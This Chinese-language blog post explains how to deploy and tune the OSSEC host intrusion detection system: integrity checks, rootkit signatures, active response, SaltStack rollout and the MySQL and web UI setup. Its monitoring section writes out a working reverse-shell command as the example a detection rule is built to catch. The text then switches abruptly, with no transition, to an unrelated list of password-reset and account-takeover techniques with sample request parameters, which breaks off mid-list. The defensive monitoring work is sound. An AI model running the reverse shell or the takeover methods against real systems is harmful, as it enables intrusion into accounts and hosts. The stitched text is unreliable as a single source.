 

2完整性检测

命令替换在应急响应中很常见,经常被替换掉的命令例如ps、netstat、ss、lsof等等。另外还有SSH后门。完整性检测的工作方式是Agent周期性的扫描系统文件,并将检验和发送给Server端。Server端存储并进行比对,发现修改是发出告警。

数据存放到服务端的/var/ossec/queue/syscheck目录下

[root@localhost syscheck]# ll /var/ossec/queue/syscheck

total 1388

-rw-r----- 1 ossec ossec 469554 Jun 29 03:16 (192.168.192.195) 192.168.192.195->syscheck

-rw-r----- 1 ossec ossec 469554 Jun 29 03:49 (192.168.192.196) 192.168.192.196->syscheck

-rw-r----- 1 ossec ossec 470797 Jun 29 18:13 syscheck

常用的配置如下:

<directories>

默认值是/etc,/usr/bin,/usr/sbin,/bin,/sbin,/boot

属性配置如下

realtime:实时监控

report_changes:报告文件变化,文件类型只能是文本

check_all:check_*全部为yes

check_sum:监测MD5和SHA1 HASH的变化,相当于设置check_sha1sum=”yes”和check_md5sum=”yes”

check_sha1sum:监测SHA1 HASH的变化

check_md5sum:监测MD5 HASH的变化

check_size:监测文件大小

check_owner:监测属主

check_group:监测属组

check_perm:监测文件权限

restrict:限制对包含该字符串的文件监测

 

<ignore>

配置忽略的文件和目录。所配置的文件和目录依然会检测,不过结果会忽略。

支持正则匹配<ignore type=”sregex”>.log$|.tmp</ignore>

<frequency>

检测周期

<scan_time>

开始扫描的时间,格式可以是21pm, 8:30, 12am

<scan_day>

配置一周中的哪天可以扫描,格式sunday, saturday, monday

<auto_ignore>

忽略变化超过3次的文件

<alert_new_files>

新文件创建时告警

<scan_on_start>

启动时扫描

<windows_registry>

Windows注册表项监控

<registry_ignore>

忽略的注册表项

<prefilter_cmd>

Prelink会修改二进制文件,以方便其快速启动,所以会导致二进制文件的MD5修改,导致误报。这个配置目的是忽略掉prelink产生的误报,配置<prefilter_cmd>/usr/sbin/prelink -y</prefilter_cmd>需要注意的是改配置会影响性能。

<skip_nfs>

跳过CIFS和NFS挂载目录

 

配置示例:

<syscheck>

    <directories check_all="yes">/etc,/usr/bin,/usr/sbin</directories>

    <directories check_all="yes">/root/users.txt,/bsd,/root/db.html</directories>

</syscheck>

修改告警级别,例如当/var/www/htdocs修改时,告警级别修改为12

<rule id="100345" level="12">

    <if_matched_group>syscheck</if_matched_group>

    <match>/var/www/htdocs</match>

    <description>Changes to /var/www/htdocs - Critical file!</description>

</rule>

这里有一个需要注意的地方,我一开始使用OSSEC的时候,用的默认配置,然后凌晨3点的时候收到了大量的告警,如下:

** Alert 1500341372.94081: mail - ossec,syscheck,

2017 Jul 18 09:29:32 localhost->syscheck

Rule: 550 (level 7) -> 'Integrity checksum changed.'

Integrity checksum changed for: '/sbin/partprobe'

Old md5sum was: 'cabd9d003c9f3b194b32eff8d27e9dfc'

New md5sum is : '34a3700736e54368e296c24acef6f5b9'

Old sha1sum was: '0eb531a5bce4fdf30da3d69aed181b54b4870f0b'

New sha1sum is : '19640bd6d1ebc4298423498a9363dfe2074023ad'



** Alert 1500341380.94500: mail - ossec,syscheck,

2017 Jul 18 09:29:40 localhost->syscheck

Rule: 550 (level 7) -> 'Integrity checksum changed.'

Integrity checksum changed for: '/sbin/wipefs'

Old md5sum was: '61ddf66c79323caff5d8254a29b526dc'

New md5sum is : '45af33cff81598dd0a33f0439c6aa68f'

Old sha1sum was: '161d409336291c8ed03a89bd8378739934dca387'

New sha1sum is : 'a735876ea2090323bd766cfb6bad0f57c6a900f2'

告警显示/sbin下的执行文件MD5都修改了。其实这里是因为定时任务Prelink导致。Prelink利用事先链接代替运行时链接的方法来加速共享库的加载,它不仅可以加快起动速度,还可以减少部分内存开销, 是各种Linux架构上用于减少程序加载时间、缩短系统启动时间和加快应用程序启动的很受欢迎的一个工具。

 

以CentOS6.5系统为例,

[root@sec248 cron.daily]# ls

logrotate  makewhatis.cron  mlocate.cron  prelink  readahead.cron  tmpwatch

prelink脚本内容如下:

#!/bin/sh



. /etc/sysconfig/prelink



renice +19 -p $$ >/dev/null 2>&1



if [ "$PRELINKING" != yes ]; then

  if [ -f /etc/prelink.cache ]; then

    echo /usr/sbin/prelink -uav > /var/log/prelink/prelink.log

    /usr/sbin/prelink -uav >> /var/log/prelink/prelink.log 2>&1 \

      || echo Prelink failed with return value $? >> /var/log/prelink/prelink.log

    rm -f /etc/prelink.cache

    # Restart init if needed

    [ -n "$(find `ldd /sbin/init | awk 'NF == 4 { print $3 }'` /sbin/init -ctime -1 2>/dev/null )" ] && /sbin/telinit u

  fi

  exit 0

fi



if [ ! -f /etc/prelink.cache -o -f /var/lib/prelink/force ] \

   || grep -q '^prelink-ELF0.[0-2]' /etc/prelink.cache; then

  # If cache does not exist or is from older prelink versions or

  # if we were asked to explicitely, force full prelinking

  rm -f /etc/prelink.cache /var/lib/prelink/force

  PRELINK_OPTS="$PRELINK_OPTS -f"

  date > /var/lib/prelink/full

  cp -a /var/lib/prelink/{full,quick}

elif [ -n "$PRELINK_FULL_TIME_INTERVAL" \

       -a "`find /var/lib/prelink/full -mtime -${PRELINK_FULL_TIME_INTERVAL} 2>/dev/null`" \

         = /var/lib/prelink/full ]; then

  # If no more than PRELINK_NONRPM_CHECK_INTERVAL days elapsed from last prelink

  # (be it full or quick) and no packages have been upgraded via rpm since then,

  # don't do anything.

  [ "`find /var/lib/prelink/quick -mtime -${PRELINK_NONRPM_CHECK_INTERVAL:-7} 2>/dev/null`" \

    -a -f /var/lib/rpm/Packages \

    -a /var/lib/rpm/Packages -ot /var/lib/prelink/quick ] && exit 0

  date > /var/lib/prelink/quick

  # If prelink without -q has been run in the last

  # PRELINK_FULL_TIME_INTERVAL days, just use quick mode

  PRELINK_OPTS="$PRELINK_OPTS -q"

else

  date > /var/lib/prelink/full

  cp -a /var/lib/prelink/{full,quick}

fi



echo /usr/sbin/prelink -av $PRELINK_OPTS > /var/log/prelink/prelink.log

/usr/sbin/prelink -av $PRELINK_OPTS >> /var/log/prelink/prelink.log 2>&1 \

  || echo Prelink failed with return value $? >> /var/log/prelink/prelink.log

# Restart init if needed

[ -n "$(find `ldd /sbin/init | awk 'NF == 4 { print $3 }'` /sbin/init -ctime -1 2>/dev/null )" ] && /sbin/telinit u



exit 0

 

/etc/sysconfig/prelink文件内容如下:

[root@localhost cron.daily]# cat /etc/sysconfig/prelink | grep -v '^$' | grep -v '^#'

PRELINKING=yes

PRELINK_OPTS=-mR

PRELINK_FULL_TIME_INTERVAL=14

PRELINK_NONRPM_CHECK_INTERVAL=7

通过看上面的脚本,我们明白每14天会进行一次正常Prelink操作,也就是执行

/usr/sbin/prelink -av -mR

平时每天执行的Prelink操作其实是quick模式,也就是执行

/usr/sbin/prelink -av -mR -q

 

解决方案是添加配置

<prefilter_cmd>/usr/sbin/prelink -y</prefilter_cmd>

在比对MD5或者SHA1之前,会先执行prelink -y <file>,从而避免误报。prelink -y <file>会输出prelink之前的原始文件内容。

 

过了一段时间,突然一台机器上收到大量告警,所监控二进制文件的SHA都变成了da39a3ee5e6b4b0d3255bfef95601890afd80709。

然后我查看了OSSEC服务端的记录信息/var/ossec/queue/syscheck,syscheck记录内容如下:

./(10.59.0.238) any->syscheck:+++0:0:0:0:xxx:da39a3ee5e6b4b0d3255bfef95601890afd80709 !1531341371 /usr/bin/jdb

./(10.59.0.238) any->syscheck:+++0:0:0:0:xxx:da39a3ee5e6b4b0d3255bfef95601890afd80709 !1531341375 /usr/bin/policytool

./(10.59.0.238) any->syscheck:+++0:0:0:0:xxx:da39a3ee5e6b4b0d3255bfef95601890afd80709 !1531341397 /usr/bin/jmap

./(10.59.0.238) any->syscheck:+++0:0:0:0:xxx:da39a3ee5e6b4b0d3255bfef95601890afd80709 !1531341405 /usr/bin/javah

./(10.59.0.238) any->syscheck:+++0:0:0:0:xxx:da39a3ee5e6b4b0d3255bfef95601890afd80709 !1531341436 /usr/bin/appletviewer

./(10.59.0.238) any->syscheck:+++0:0:0:0:xxx:da39a3ee5e6b4b0d3255bfef95601890afd80709 !1531341448 /usr/bin/javac

的确好多二进制文件的SHA值都变成了da39a3ee5e6b4b0d3255bfef95601890afd80709,其实这是空字符的SHA1值。我手工执行Prelink测试一下

[root@localhost cron.daily]# prelink -y /bin/sh

at least one of file's dependencies has changed since prelinking

看起来原因是自动最后一次Prelink操作后,有些依赖库修改了。既然是依赖库修改了,那么肯定是运维升级了什么东西导致的。

搜索了一下Bash记录,发现的确是运维升级了Java相关包。

解决方法就是执行一次normal Prelink操作,quick模式无法修复该问题。

/usr/sbin/prelink -av -mR

 

3)Rootkit检测

Rootkit也是平时应急响应比较头疼的,OSSEC的检测原理如下:

对比rootkit_files.txt,该文件中包含了rootkit常用的文件。就像病毒库一样。

[root@localhost shared]# egrep -v "^#" rootkit_files.txt | grep -v '^$' | head -n 3

tmp/mcliZokhb           ! Bash door ::/rootkits/bashdoor.php

tmp/mclzaKmfa           ! Bash door ::/rootkits/bashdoor.php

dev/.shit/red.tgz       ! Adore Worm ::/rootkits/adorew.php

如果是以”*”开头的话,会扫描整个系统。

对比rootkit_trojans.txt文件中二进制文件特征。

[root@localhost shared]# egrep -v "^#" rootkit_trojans.txt | grep -v '^$' | head -n 3

ls          !bash|^/bin/sh|dev/[^clu]|\.tmp/lsfile|duarawkz|/prof|/security|file\.h!

env         !bash|^/bin/sh|file\.h|proc\.h|/dev/|^/bin/.*sh!

echo        !bash|^/bin/sh|file\.h|proc\.h|/dev/[^cl]|^/bin/.*sh!

扫描整个文件系统,检测异常文件和异常的权限设置,文件属主是root,但是其他用户可写是非常危险的,rootkit将会扫描这些文件。同时还会检测具有suid权限的文件、隐藏的文件和目录。

另外还会检测隐藏端口、隐藏进程、/dev目录、网卡混杂模式等。

这里看一下ossec.conf中默认的rootcheck的配置

  <rootcheck>

    <rootkit_files>/var/ossec/etc/shared/rootkit_files.txt</rootkit_files>

    <rootkit_trojans>/var/ossec/etc/shared/rootkit_trojans.txt</rootkit_trojans>

    <system_audit>/var/ossec/etc/shared/system_audit_rcl.txt</system_audit>

    <system_audit>/var/ossec/etc/shared/cis_debian_linux_rcl.txt</system_audit>

    <system_audit>/var/ossec/etc/shared/cis_rhel_linux_rcl.txt</system_audit>

    <system_audit>/var/ossec/etc/shared/cis_rhel5_linux_rcl.txt</system_audit>

  </rootcheck>

/var/ossec/etc/shared/rootkit_files.txt文件中包含了rootkit常用的文件。

/var/ossec/etc/shared/rootkit_trojans.txt文件中检测一些二进制文件的特征。

后面主要是检测系统配置。

测试:

server:192.168.192.193

agent:192.168.192.196

根据上述检测原理第一条,我们在192.168.192.196下创建文件/tmp/mcliZokhb

然后在Server端执行

[root@localhost ossec]# ./bin/agent_control -r -u 1028

OSSEC HIDS agent_control: Restarting Syscheck/Rootcheck on agent: 1028

当扫描完成后,Syscheck last started和Rootcheck last started的时间会更新。

[root@localhost rootcheck]# /var/ossec/bin/agent_control -i 1028



OSSEC HIDS agent_control. Agent information:

   Agent ID:   1028

   Agent Name: 192.168.192.196

   IP address: any/0

   Status:     Active



   Operating system:    Linux localhost 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64

   Client version:      OSSEC HIDS v2.9.0 / 2d13fc898c1b864609180ad7f4512b4c

   Last keep alive:     Thu Jul 13 14:11:25 2017



   Syscheck last started  at: Thu Jul 13 14:05:27 2017

   Rootcheck last started at: Thu Jul 13 13:55:00 2017

来看一下/var/ossec/queue/rootcheck下的内容

[root@localhost rootcheck]# cat \(192.168.192.196\)\ any-\>rootcheck

!1499925300!1499150323 Starting rootcheck scan.

!1499925927!1499150951 Ending rootcheck scan.

!1499925300!1499925300 Rootkit 'Bash' detected by the presence of file '/tmp/mcliZokhb'.

其中扫描开始时间为1499925300(2017/7/13 13:55:0),扫描结束时间为1499925927(2017/7/13 14:5:27)

然后在1499925300(2017/7/13 13:55:0),检测到了Rootkit。

然后查看ALert日志中的告警信息

[root@localhost rootcheck]# cat /var/ossec/logs/alerts/alerts.log

** Alert 1499925300.0: mail  - ossec,rootcheck,

2017 Jul 13 13:55:00 (192.168.192.196) any->rootcheck

Rule: 510 (level 7) -> 'Host-based anomaly detection event (rootcheck).'

Rootkit 'Bash' detected by the presence of file '/tmp/mcliZokhb'.

PS:

1)部署后,发现经常会收到进程隐藏的告警,经排查服务器也不存在异常。

Process ‘25905’ hidden from /proc. Possible kernel level rootkit.

添加规则rules/ossec_rules.xml

  <rule id="517" level="0">

     <if_sid>510</if_sid>

     <match>hidden from /proc</match>

     <description>Ignored process hidden entries.</description>

     <group>rootcheck,</group>

  </rule>

屏蔽掉该告警。

2)因为OSSEC会检测属主是Root但是Other用户有w权限的文件,有些正常业务的文件会导致误报。

添加规则rules/ossec_rules.xml

  <rule id="520" level="0">

     <if_sid>510</if_sid>

     <match>/usr/local/fms</match>

     <description>Ignored some files which owned by root and has write permissions.</description>

     <group>rootcheck,</group>

  </rule>

屏蔽掉这些目录。

3)用户添加白名单

vim syslog_rules.xml

  <rule id="5905" level="0">
    <if_sid>5901</if_sid>
    <match>name=flume</match>
    <description>New group Ignore</description>
  </rule>

  <rule id="5906" level="0">
    <if_sid>5902</if_sid>
    <match>name=flume</match>
    <description>New user Ignore</description>
  </rule>

添加flume的白名单用户

 

4)联动配置

主动响应分为两部分,第一步需要配置需要执行的脚本,第二步需要绑定该脚本到具体的触发规则。/var/ossec/etc/ossec.conf中相应配置如下:

<ossec_config>

    <command>

        <!--

        Command options here

        -->

    </command>

    <active-response>

        <!--

        active-response options here

        -->

    </active-response>

</ossec_config>

Command配置参数如下:

name

对应active-response所使用的名称

executable

/var/ossec/active-response/bin中的可执行文件,不需要写全路径。

expect

命令执行的参数,选项可以是srcip和user(其他的名不接受). 如果expect标签内的值为空,那么传递-代替真实的值。如果一个响应脚本需要srcip,那么它必须在expect选项中。

如果不需要传递参数值,写<expect></expect>即可。

timeout_allowed

指定该命令是否支持超时。

 

active-response配置参数如下:

disabled

如果设置为yes,则禁用主动响应,默认为启用。

command

需要执行的脚本的名称,对应command标签中的name。

location

在哪里执行命令,具体参数如下:

local: 产生该事件的agent

server: 在server端

defined-agent: 指定一个agent,需要配置agent id

all: 所有agent

agent_id

需要执行脚本的agent的ID

level

大于等于该level的event将执行该响应

rules_group

响应将在已定义的组中的任何事件上执行。可以用逗号分隔多个组。

rules_id

响应将在任何带有已定义ID的事件上执行。可以用逗号分隔多个ID。

timeout

以封禁IP为例,指定IP封禁的时间(单位为秒)。

 

这里我们来测试一下:

Server:192.168.192.193

Client(ID:1029)192.168.192.195

Client(ID:1028) 192.168.192.196

首先看一下SSH登录失败的日志为:

Jul  6 15:15:57 localhost sshd[28590]: Failed password for root from 192.168.192.196 port 34108 ssh2

所对应的decode.xml中的解码规则为:

<decoder name="ssh-failed">

  <parent>sshd</parent>

  <prematch>^Failed \S+ </prematch>

  <regex offset="after_prematch">^for (\S+) from (\S+) port \d+ \w+$</regex>

  <order>user, srcip</order>

</decoder>

这里通过正则表达式获取到了user和srcip

所对应的Rule在sshd_rules.xml中,可以看到告警等级为5:

  <rule id="5716" level="5">

    <if_sid>5700</if_sid>

    <match>^Failed|^error: PAM: Authentication</match>

    <description>SSHD authentication failed.</description>

    <group>authentication_failed,</group>

  </rule>

查看ossec.conf,这里我们添加如下:

  <active-response>

    <command>test</command>

    <location>local</location>

    <level>5</level>

    <timeout>60</timeout>

  </active-response>

所对应的执行脚本名称为test,脚本为本地执行,当rule级别大于等于5时触发,封禁时间为60S。

所对应的command配置为

  <command>

    <name>test</name>

    <executable>test.sh</executable>

    <expect>srcip,user</expect>

    <timeout_allowed>yes</timeout_allowed>

  </command>

这里传递了两个参数srcip,user(前后顺序不影响)。所对应的是ssh-failed解码规则中取到的user和srcip。

/var/ossec/active-response/bin/test.sh文件内容为

#!/bin/sh

LOCAL=`dirname $0`;

cd $LOCAL

cd ../

PWD=`pwd`

echo "`date` $0 $1 $2 $3 $4 $5" >> ${PWD}/../logs/active-responses.log

脚本所传递的参数如下:

$1 动作 (delete or add)

$2 user (or – if not set)

$3 srcip (or – if not set)

$4 时间戳

$5 规则号

 

修改权限和属组

[root@localhost bin]# chown root:ossec test.sh

[root@localhost bin]# chmod 550 test.sh

 

然后在192.168.192.196使用错误密码登录192.168.192.193,触发规则,查看日志

[root@localhost ossec]# tail -f logs/active-responses.log

Thu Jul  6 17:07:02 CST 2017 /var/ossec/active-response/bin/test.sh add root 192.168.192.196 1499332022.14278 5503

Thu Jul  6 17:08:32 CST 2017 /var/ossec/active-response/bin/test.sh delete root 192.168.192.196 1499332022.14278 5503

然后我们再用OSSEC自带的host-deny脚本测试一下。

  <command>

    <name>host-deny</name>

    <executable>host-deny.sh</executable>

    <expect>srcip</expect>

    <timeout_allowed>yes</timeout_allowed>

  </command>

  <active-response>

    <command>host-deny</command>

    <location>local</location>

    <level>5</level>

    <timeout>30</timeout>

  </active-response>

这里<location>local</location>,即仅在触发该规则的Agent有效。

然后我使用另外一台机器192.168.192.120使用错误密码登录192.168.192.196

触发规则后查看hosts.deny发现已经添加了IP192.168.192.120

[root@localhost ossec]# cat /etc/hosts.deny  | grep 120

ALL:192.168.192.120

 

0x03 SaltStack批量部署Agent



在企业内部有各种运维工具有用批量管理服务器,例如SaltStack、ansible等。这里我以SaltStack为例。批量部署这里面临两个问题:

1)install.sh安装交互问题

OSSEC安装为交互式安装,需要手工输入Server端地址,是否开启一些模块等。解决办法是配置preloaded-vars.conf

[root@localhost ossec-hids-2.9.0]# cp etc/preloaded-vars.conf.example etc/preloaded-vars.conf

修改preloaded-vars.conf中的配置即可。最终配置如下:

[root@test135 etc]# cat preloaded-vars.conf | grep -v "^#" | grep -v "^$"

USER_LANGUAGE="cn"     # For english

USER_NO_STOP="y"

USER_INSTALL_TYPE="agent"

USER_DIR="/var/ossec"

USER_ENABLE_ACTIVE_RESPONSE="y"

USER_ENABLE_SYSCHECK="y"

USER_ENABLE_ROOTCHECK="y"

USER_AGENT_SERVER_IP="10.111.111.111"

2)Key认证问题

新版本的OSSEC中ossec-authd和agent-auth提供了自动化导入Key的功能。

ossec-authd:

os-authd守护进程运行在服务端,自动分发Key和添加Agent。

默认情况下,该过程中不存在任何身份验证或授权,因此建议只在添加新代理时运行该守护进程。

ossec-authd进程需要SSL keys才行运行。

如果没有SSL Keys会提示以下错误:

[root@localhost syscheck]# /var/ossec/bin/ossec-authd -p 1515

2017/07/04 14:02:26 ossec-authd: INFO: Started (pid: 12764).

2017/07/04 14:02:26 ossec-authd: ERROR: Unable to read certificate file (not found): /var/ossec/etc/sslmanager.cert

2017/07/04 14:02:26 ossec-authd: ERROR: SSL error. Exiting.

生成SSL Keys

[root@localhost syscheck]# openssl genrsa -out /var/ossec/etc/sslmanager.key 2048

Generating RSA private key, 2048 bit long modulus

.....+++

........+++

e is 65537 (0x10001)

[root@localhost syscheck]# openssl req -new -x509 -key /var/ossec/etc/sslmanager.key -out /var/ossec/etc/sslmanager.cert -days 365

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Country Name (2 letter code) [XX]:

State or Province Name (full name) []:

Locality Name (eg, city) [Default City]:

Organization Name (eg, company) [Default Company Ltd]:

Organizational Unit Name (eg, section) []:

Common Name (eg, your name or your server's hostname) []:

Email Address []:

启动ossec-authd

[root@localhost syscheck]# /var/ossec/bin/ossec-authd

2017/07/04 14:11:35 ossec-authd: INFO: Started (pid: 12788).

[root@localhost syscheck]# netstat -anlp | grep 1515

tcp        0      0 :::1515                     :::*                        LISTEN      12788/ossec-authd

然后客户端运行,这里如果不指定-A为IP的话,默认是Hostname

[root@localhost src]# /var/ossec/bin/agent-auth -m 192.168.192.193 -p 1515 -A 192.168.192.196

2017/07/04 14:27:59 ossec-authd: INFO: Started (pid: 14137).

2017/07/04 14:27:59 INFO: Connected to 192.168.192.193 at address 192.168.192.193, port 1515

INFO: Connected to 192.168.192.193:1515

INFO: Using agent name as: 192.168.192.196

INFO: Send request to manager. Waiting for reply.

INFO: Received response with agent key

INFO: Valid key created. Finished.

INFO: Connection closed.

查看服务端:

2017/07/04 14:27:59 ossec-authd: INFO: New connection from 192.168.192.196

2017/07/04 14:27:59 ossec-authd: INFO: Received request for a new agent (192.168.192.196) from: 192.168.192.196

2017/07/04 14:27:59 ossec-authd: INFO: Agent key generated for 192.168.192.196 (requested by 192.168.192.196)

2017/07/04 14:27:59 ossec-authd: INFO: Agent key created for 192.168.192.196 (requested by 192.168.192.196)

重启客户端服务/var/ossec/bin/ossec-control restart

查看当前连接的Agents

[root@localhost alerts]# /var/ossec/bin/agent_control -lc



OSSEC HIDS agent_control. List of available agents:

   ID: 000, Name: localhost (server), IP: 127.0.0.1, Active/Local

   ID: 1028, Name: 192.168.192.196, IP: any, Active

启动Agent时的INFO信息

2017/12/13 09:32:18 ossec-agentd: INFO: Using notify time: 600 and max time to reconnect: 1800

可以看到keepalive的时间间隔为10Min,最大重连时间为30Min。

[root@sec248 etc]# /var/ossec/bin/agent_control -i 1024 | grep keep

Last keep alive:     Wed Dec 13 09:34:06 2017

可以查看agent的上次keepalive时间,超过最大重连时间,会有告警。

综合上述两个问题,最终Salt部署模板如下:

include:

  - mk_Downloads



install_packages:

  pkg.latest:

    - pkgs:

      - openssl-devel

      - gcc

      - prelink



install_ossec:

  cmd.run:

    - name: tar zxf ossec.tar.gz && cd ossec && sh install.sh

    - cwd: /root/Downloads

    - unless: test -e /var/ossec/bin/ossec-control

    - require:

      - file: /root/Downloads/ossec.tar.gz



/var/ossec/etc/ossec.conf:

  file.managed:

    - source: salt://ossec/conf/ossec.conf

    - user: root

    - group: root

    - mode: 644

    - template: jinja

    - require:

      - cmd: install_ossec



/var/ossec/etc/shared/agent.conf:

  file.managed:

    - source: salt://ossec/conf/agent.conf

    - user: root

    - group: root

    - mode: 644

    - template: jinja

    - require:

      - cmd: install_ossec



/var/ossec/monitor.sh:

  file.managed:

    - source: salt://ossec/conf/monitor.sh

    - user: root

    - group: root

    - mode: 755

    - template: jinja

    - require:

      - cmd: install_ossec



/root/Downloads/ossec.tar.gz:

  file.managed:

    - source: salt://ossec/ossec.tar.gz

    - user: root

    - group: root

    - mode: 755

    - template: jinja

    - require:

      - file: /root/Downloads



agentauth:

  cmd.run:

    - name: /var/ossec/bin/agent-auth -m 10.59.0.248 -p 1515 -A $(ifconfig | egrep -o '10\.(59|211|200).[0-9]{1,3}.[0-9]{1,3}' | head -n 1)

    - unless: test -s /var/ossec/etc/client.keys

    - require:

      - cmd: install_ossec



serverstart:

  cmd.run:

    - name: /var/ossec/bin/ossec-control restart

    - onchanges:

      - file: /var/ossec/etc/ossec.conf

    - require:

      - cmd: install_ossec

 

0x04 MySQLWebUI安装


Mysql安装:

在2.9之前可以使用make setdb后编译OSSEC来支持Mysql。默认的安装脚本install.sh是不支持Mysql的,所以需要在源码的src目录下执行

make TARGET=server DATABASE=mysql install

然后执行

/var/ossec/bin/ossec-control enable database

创建数据库和导入表结构

mysql> create database ossec;

Query OK, 1 row affected (0.00 sec)



mysql> grant INSERT,SELECT,UPDATE,CREATE,DELETE,EXECUTE on ossec.* to ossec@127.0.0.1;

Query OK, 0 rows affected (0.00 sec)



mysql> set password for ossec@127.0.0.1=PASSWORD('hehe123');

Query OK, 0 rows affected (0.00 sec)



mysql> flush privileges;

Query OK, 0 rows affected (0.00 sec)



mysql> quit



[root@localhost ossec]# mysql -u root -phehe123 -D ossec < /tmp/ossec-hids-2.9.0/src/os_dbd/mysql.schema

在ossec.conf中添加配置

    <database_output>

        <hostname>127.0.0.1</hostname>

        <username>ossec</username>

        <password>hehe123</password>

        <database>ossec</database>

        <type>mysql</type>

    </database_output>

然后重启服务。

/var/ossec/bin/ossec-dbd启动成功。

[root@localhost logs]# ps axu | grep dbd | grep -v grep

ossecm    3919  0.0  0.0  51172  2872 ?        S    10:00   0:00 /var/ossec/bin/ossec-dbd

尝试SSH登录失败,看一下入库信息。

mysql> select * from alert a join location l on a.location_id = l.id where l.id = 5\G

*************************** 1. row ***************************

         id: 9

  server_id: 1

    rule_id: 5503

      level: 5

  timestamp: 1499415795

location_id: 5

     src_ip: 192.168.192.120

     dst_ip: (null)

   src_port: 0

   dst_port: 0

    alertid: 1499415795.28052

       user: root

   full_log: Jul  7 16:23:14 localhost sshd[1589]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.192.120  user=root

  is_hidden: 0

        tld:

         id: 5

  server_id: 1

       name: (192.168.192.196) any->/var/log/secure

*************************** 2. row ***************************

         id: 10

  server_id: 1

    rule_id: 5716

      level: 5

  timestamp: 1499415800

location_id: 5

     src_ip: 192.168.192.120

     dst_ip: (null)

   src_port: 0

   dst_port: 0

    alertid: 1499415797.28415

       user: root

   full_log: Jul  7 16:23:16 localhost sshd[1589]: Failed password for root from 192.168.192.120 port 47519 ssh2

  is_hidden: 0

        tld:

         id: 5

  server_id: 1

       name: (192.168.192.196) any->/var/log/secure

2 rows in set (0.00 sec)

WebUI安装

安装步骤如下:

1)yum -y install gcc gcc-c++ apr-devel apr-util-devel pcre pcre-devel openssl openssl-devel

2)安装apr(version >= 1.4+  )

# wget http://mirrors.tuna.tsinghua.edu.cn/apache/apr/apr-1.5.2.tar.gz

# tar zxf apr-1.5.2.tar.gz

# cd apr-1.5.2

# ./configure --prefix=/usr/local/apr

# make && make install

3)安装apr-util(version >= 1.4+ )

# wget http://mirrors.tuna.tsinghua.edu.cn/apache/apr/apr-util-1.5.4.tar.gz

# tar zxf apr-util-1.5.4.tar.gz

# cd apr-util-1.5.4

# ./configure --prefix=/usr/local/apr-util --with-apr=/usr/local/apr

# make && make install

4)安装httpd-2.4.27

# cd httpd-2.4.27

# ./configure --prefix=/usr/local/apache --with-apr=/usr/local/apr --with-apr-util=/usr/local/apr-util --enable-dav --enable-so --enable-maintainer-mod --enable-rewrite

# make && make install
[root@localhost tmp]# wget https://github.com/ossec/ossec-wui/archive/0.9.tar.gz

[root@localhost tmp]# tar zxvf ossec-wui-0.9.tar.gz

[root@localhost tmp]# mv ossec-wui-0.9 /var/www/html/ossec-wui

[root@localhost tmp]# cd /var/www/html/ossec-wui

[root@localhost ossec-wui]# ./setup.sh

Setting up ossec ui...



Username: vincent

New password:

Re-type new password:

Adding password for user vincent

Enter your web server user name (e.g. apache, www, nobody, www-data, ...)

apache

You must restart your web server after this setup is done.



Setup completed successfully.

[root@localhost ossec-wui]# service httpd start

 

0x05 监控扩展


综合上述OSSEC的一些功能点,我们可以扩展一些其他的监控进来,通过OSSEC告警。这里我举几个例子:

1)存在连接的Bash进程

通常情况下Bash进程是不会存在连接状态的,其父进程SSHD存在网络连接,如下:

[root@sec248 cron.daily]# ps -ef | grep bash | grep -v grep

root     41011 41009  0 08:42 pts/4    00:00:00 -bash

root     45984 45982  0 Dec21 pts/1    00:00:00 -bash

[root@sec248 cron.daily]# netstat -antlp | grep sshd | grep EST

tcp        0     64 10.59.0.248:22              192.168.190.201:52947       ESTABLISHED 41009/sshd         

tcp        0      0 10.59.0.248:22              192.168.190.201:2164        ESTABLISHED 45982/sshd

而反弹shell时,反弹命令bash -i >& /dev/tcp/192.168.192.144/2345 0>&1,我们看一下反弹连接

[root@server120 ~]# netstat -antlp | grep bash

tcp        0      0 192.168.192.120:34710       192.168.192.144:2345        ESTABLISHED 15497/bash

可以看到存在Bash连接,那么我们添加OSSEC的监控项

  <localfile>

    <log_format>full_command</log_format>

    <command>netstat -antlp | grep ESTABLISHED | egrep '/(bash|sh)'</command>

  </localfile>

2)ssdeep检测webshell

【企业安全实战】infotify实现webshell监控部署实践

3)Auditd监控Web中间件

【企业安全实战】Web中间件EXECVE审计

4)ClamAV查杀部署

Linux下部署CLamAV并结合OSSEC告警

1、验证码暴力破解

手机或者邮箱验证码可枚举破解。

参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2013-029132.html

 

2、验证码直接返回

服务器直接将验证码返回,例如某APP找回密码返回包。

另外还有返回在Cookie中,例如

另外还有可能在返回的页面源码中,需要注意提交的每一个参数。

参考链接:http://wooyun.jozxing.cc/static/bugs/wooyun-2012-04728.html

密码找回问题的答案隐藏在HTML中。

 

3、跳过验证步骤

输入重置账号后,跳过验证步骤,直接访问重置密码页面。

参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2013-042404.html

 

4、利用邮箱、手机号绑定

绑定用户邮箱的时候,可以通过修改uid将其他用户的邮箱绑定为自己的,从而任意重置用户密码。

参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2012-08307.html

 

5、三方登录绑定其他用户

例如绑定微博账号的时候,先登录微博并且获取code,然后绑定code和UID的请求如下:

thirdPartyType=1&uid=60570181&state=test&code=fb3a6454736e15534486c5a214067943

通过修改uid可以绑定将自己的微博绑定到其他用户账号,然后通过微博登录就可以登录任意用户账号。

 

6、没有验证验证码接受手机号是否与username或者session一致

例如发送验证码的请求如下:

username=***&mobilePhone=***&randcodeAjax=6119

没有验证username是否和mobilePhone一致,通过修改mobilePhone为自己的手机号接受验证码。

 

7、本地验证绕过

客户端在本地进行验证码是否正确的判断,而该判断结果也可以在本地修改,最终导致欺骗客户端,误以为我们已经输入了正确的验证码。

例如将返回包中的0修改为1即可绕过验证。

 

8、重置密码最后一步uid或者username可控

重置密码最后一步,重置账户通过用户传递的uid或者username控制,导致修改该UID即可重置其他用户密码。

 

9、个人中心修改密码逻辑错误

当前密码的校验和修改新密码是单独分开的两个包。所以可以理解为没有校验当前密码。

修改密码的请求中如下:

ssouid=***&passwd=***

修改该ssouid即可。

 

10、利用session重新绑定用户

